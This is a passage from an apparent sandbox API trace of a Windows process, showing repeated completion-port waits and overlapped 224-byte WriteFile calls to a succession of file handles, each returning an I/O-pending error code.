lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.795] WriteFile (in: hFile=0x308, lpBuffer=0x38805b8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3880590 | out: lpBuffer=0x38805b8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3880590) returned 0x0 [0113.795] RtlGetLastWin32Error () returned 0x3e5 [0113.795] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.795] WriteFile (in: hFile=0x304, lpBuffer=0x44b5fc0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44b5f98 | out: lpBuffer=0x44b5fc0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44b5f98) returned 0x0 [0113.795] RtlGetLastWin32Error () returned 0x3e5 [0113.795] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.795] WriteFile (in: hFile=0x300, lpBuffer=0x44c9d78, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44c9d50 | out: lpBuffer=0x44c9d78, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44c9d50) returned 0x0 [0113.795] RtlGetLastWin32Error () returned 0x3e5 [0113.795] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.796] WriteFile (in: hFile=0x2fc, lpBuffer=0x44dcbd8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44dcbb0 | out: lpBuffer=0x44dcbd8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44dcbb0) returned 0x0 [0113.796] RtlGetLastWin32Error () returned 0x3e5 [0113.796] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.796] WriteFile (in: hFile=0x2f4, lpBuffer=0x44ee438, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44ee410 | out: lpBuffer=0x44ee438, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44ee410) returned 0x0 [0113.796] RtlGetLastWin32Error () returned 0x3e5 [0113.796] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.796] WriteFile (in: hFile=0x2f8, lpBuffer=0x44eef70, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44eef48 | out: lpBuffer=0x44eef70, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44eef48) returned 0x0 [0113.796] RtlGetLastWin32Error () returned 0x3e5 [0113.796] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.796] WriteFile (in: hFile=0x2a4, lpBuffer=0x44f9850, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44f9828 | out: lpBuffer=0x44f9850, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44f9828) returned 0x0 [0113.797] RtlGetLastWin32Error () returned 0x3e5 [0113.797] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.797] WriteFile (in: hFile=0x41c, lpBuffer=0x450aa30, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x450aa08 | out: lpBuffer=0x450aa30, lpNumberOfBytesWritten=0x0, lpOverlapped=0x450aa08) returned 0x0 [0113.797] RtlGetLastWin32Error () returned 0x3e5 [0113.797] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.797] WriteFile (in: hFile=0x420, lpBuffer=0x45144d8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45144b0 | out: lpBuffer=0x45144d8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45144b0) returned 0x0 [0113.797] RtlGetLastWin32Error () returned 0x3e5 [0113.797] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.797] WriteFile (in: hFile=0x424, lpBuffer=0x4798d88, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4798d60 | out: lpBuffer=0x4798d88, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4798d60) returned 0x0 [0113.797] RtlGetLastWin32Error () returned 0x3e5 [0113.797] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.797] WriteFile (in: hFile=0x428, lpBuffer=0x4521df0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4521dc8 | out: lpBuffer=0x4521df0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4521dc8) returned 0x0 [0113.798] RtlGetLastWin32Error () returned 0x3e5 [0113.798] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.798] WriteFile (in: hFile=0x42c, lpBuffer=0x47a0048, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x47a0020 | out: lpBuffer=0x47a0048, lpNumberOfBytesWritten=0x0, lpOverlapped=0x47a0020) returned 0x0 [0113.821] RtlGetLastWin32Error () returned 0x3e5 [0113.821] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.822] WriteFile (in: hFile=0x430, lpBuffer=0x48b0048, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x48b0020 | out: lpBuffer=0x48b0048, lpNumberOfBytesWritten=0x0, lpOverlapped=0x48b0020) returned 0x0 [0113.822] RtlGetLastWin32Error () returned 0x3e5 [0113.822] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.823] WriteFile (in: hFile=0x434, lpBuffer=0x49c0048, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x49c0020 | out: lpBuffer=0x49c0048, lpNumberOfBytesWritten=0x0, lpOverlapped=0x49c0020) returned 0x0 [0113.823] RtlGetLastWin32Error () returned 0x3e5 [0113.823] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.824] WriteFile (in: hFile=0x438, lpBuffer=0x4ad0048, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4ad0020 | out: lpBuffer=0x4ad0048, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4ad0020) returned 0x0 [0113.824] RtlGetLastWin32Error () returned 0x3e5 [0113.824] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.824] WriteFile (in: hFile=0x43c, lpBuffer=0x4bb0048, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4bb0020 | out: lpBuffer=0x4bb0048, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4bb0020) returned 0x0 [0113.824] RtlGetLastWin32Error () returned 0x3e5 [0113.824] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.824] WriteFile (in: hFile=0x440, lpBuffer=0x4c80048, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4c80020 | out: lpBuffer=0x4c80048, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4c80020) returned 0x0 [0113.825] RtlGetLastWin32Error () returned 0x3e5 [0113.825] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.825] WriteFile (in: hFile=0x444, lpBuffer=0x4d20048, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4d20020 | out: lpBuffer=0x4d20048, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4d20020) returned 0x0 [0113.825] RtlGetLastWin32Error () returned 0x3e5 [0113.825] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.825] WriteFile (in: hFile=0x448, lpBuffer=0x4de0048, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4de0020 | out: lpBuffer=0x4de0048, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4de0020) returned 0x0 [0113.825] RtlGetLastWin32Error () returned 0x3e5 [0113.825] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.825] WriteFile (in: hFile=0x44c, lpBuffer=0x4ea0048, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4ea0020 | out: lpBuffer=0x4ea0048, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4ea0020) returned 0x0 [0113.825] RtlGetLastWin32Error () returned 0x3e5 [0113.825] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.825] WriteFile (in: hFile=0x454, lpBuffer=0x4ff0048, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4ff0020 | out: lpBuffer=0x4ff0048, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4ff0020) returned 0x0 [0113.825] RtlGetLastWin32Error () returned 0x3e5 [0113.826] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.826] WriteFile (in: hFile=0x450, lpBuffer=0x4f30048, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4f30020 | out: lpBuffer=0x4f30048, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4f30020) returned 0x0 [0113.826] RtlGetLastWin32Error () returned 0x3e5 [0113.826] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.826] WriteFile (in: hFile=0x458, lpBuffer=0x5090048, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5090020 | out: lpBuffer=0x5090048, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5090020) returned 0x0 [0113.828] RtlGetLastWin32Error () returned 0x3e5 [0113.828] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.828] WriteFile (in: hFile=0x460, lpBuffer=0x452da30, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x452da08 | out: lpBuffer=0x452da30, lpNumberOfBytesWritten=0x0, lpOverlapped=0x452da08) returned 0x0 [0113.828] RtlGetLastWin32Error () returned 0x3e5 [0113.828] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.828] WriteFile (in: hFile=0x45c, lpBuffer=0x51a0048, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x51a0020 | out: lpBuffer=0x51a0048, lpNumberOfBytesWritten=0x0, lpOverlapped=0x51a0020) returned 0x0 [0113.829] RtlGetLastWin32Error () returned 0x3e5 [0113.829] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.829] WriteFile (in: hFile=0x464, lpBuffer=0x388bac8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388baa0 | out: lpBuffer=0x388bac8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388baa0) returned 0x0 [0113.829] RtlGetLastWin32Error () returned 0x3e5 [0113.829] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.829] WriteFile (in: hFile=0x468, lpBuffer=0x52b0070, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52b0048 | out: lpBuffer=0x52b0070, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52b0048) returned 0x0 [0113.829] RtlGetLastWin32Error () returned 0x3e5 [0113.829] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.829] WriteFile (in: hFile=0x46c, lpBuffer=0x52caf90, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52caf68 | out: lpBuffer=0x52caf90, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52caf68) returned 0x0 [0113.830] RtlGetLastWin32Error () returned 0x3e5 [0113.830] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.830] WriteFile (in: hFile=0x470, lpBuffer=0x52d9010, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52d8fe8 | out: lpBuffer=0x52d9010, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52d8fe8) returned 0x0 [0113.830] RtlGetLastWin32Error () returned 0x3e5 [0113.830] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.830] WriteFile (in: hFile=0x474, lpBuffer=0x52dc940, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52dc918 | out: lpBuffer=0x52dc940, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52dc918) returned 0x0 [0113.830] RtlGetLastWin32Error () returned 0x3e5 [0113.830] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.830] WriteFile (in: hFile=0x478, lpBuffer=0x52ecca0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52ecc78 | out: lpBuffer=0x52ecca0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52ecc78) returned 0x0 [0113.831] RtlGetLastWin32Error () returned 0x3e5 [0113.831] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.831] WriteFile (in: hFile=0x47c, lpBuffer=0x52f0cb8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52f0c90 | out: lpBuffer=0x52f0cb8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52f0c90) returned 0x0 [0113.831] RtlGetLastWin32Error () returned 0x3e5 [0113.831] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.831] WriteFile (in: hFile=0x480, lpBuffer=0x52f5ff0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52f5fc8 | out: lpBuffer=0x52f5ff0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x52f5fc8) returned 0x0 [0113.831] RtlGetLastWin32Error () returned 0x3e5 [0113.831] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.831] WriteFile (in: hFile=0x484, lpBuffer=0x530dd10, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x530dce8 | out: lpBuffer=0x530dd10, lpNumberOfBytesWritten=0x0, lpOverlapped=0x530dce8) returned 0x0 [0113.831] RtlGetLastWin32Error () returned 0x3e5 [0113.831] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.831] WriteFile (in: hFile=0x488, lpBuffer=0x5325d50, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5325d28 | out: lpBuffer=0x5325d50, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5325d28) returned 0x0 [0113.832] RtlGetLastWin32Error () returned 0x3e5 [0113.832] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.832] WriteFile (in: hFile=0x48c, lpBuffer=0x5331768, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5331740 | out: lpBuffer=0x5331768, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5331740) returned 0x0 [0113.832] RtlGetLastWin32Error () returned 0x3e5 [0113.832] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.832] WriteFile (in: hFile=0x490, lpBuffer=0x533e730, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x533e708 | out: lpBuffer=0x533e730, lpNumberOfBytesWritten=0x0, lpOverlapped=0x533e708) returned 0x0 [0113.832] RtlGetLastWin32Error () returned 0x3e5 [0113.832] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.832] WriteFile (in: hFile=0x494, lpBuffer=0x534e948, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x534e920 | out: lpBuffer=0x534e948, lpNumberOfBytesWritten=0x0, lpOverlapped=0x534e920) returned 0x0 [0113.833] RtlGetLastWin32Error () returned 0x3e5 [0113.833] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.833] WriteFile (in: hFile=0x498, lpBuffer=0x535b118, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x535b0f0 | out: lpBuffer=0x535b118, lpNumberOfBytesWritten=0x0, lpOverlapped=0x535b0f0) returned 0x0 [0113.833] RtlGetLastWin32Error () returned 0x3e5 [0113.833] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.833] WriteFile (in: hFile=0x49c, lpBuffer=0x5361938, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5361910 | out: lpBuffer=0x5361938, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5361910) returned 0x0 [0113.833] RtlGetLastWin32Error () returned 0x3e5 [0113.833] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.833] WriteFile (in: hFile=0x4a0, lpBuffer=0x53680b0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5368088 | out: lpBuffer=0x53680b0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5368088) returned 0x0 [0113.834] RtlGetLastWin32Error () returned 0x3e5 [0113.834] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.834] WriteFile (in: hFile=0x4a4, lpBuffer=0x536d600, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x536d5d8 | out: lpBuffer=0x536d600, lpNumberOfBytesWritten=0x0, lpOverlapped=0x536d5d8) returned 0x0 [0113.834] RtlGetLastWin32Error () returned 0x3e5 [0113.834] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.834] WriteFile (in: hFile=0x4a8, lpBuffer=0x5384df0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5384dc8 | out: lpBuffer=0x5384df0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5384dc8) returned 0x0 [0113.834] RtlGetLastWin32Error () returned 0x3e5 [0113.834] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.834] WriteFile (in: hFile=0x4ac, lpBuffer=0x538e9e8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x538e9c0 | out: lpBuffer=0x538e9e8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x538e9c0) returned 0x0 [0113.835] RtlGetLastWin32Error () returned 0x3e5 [0113.835] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.835] WriteFile (in: 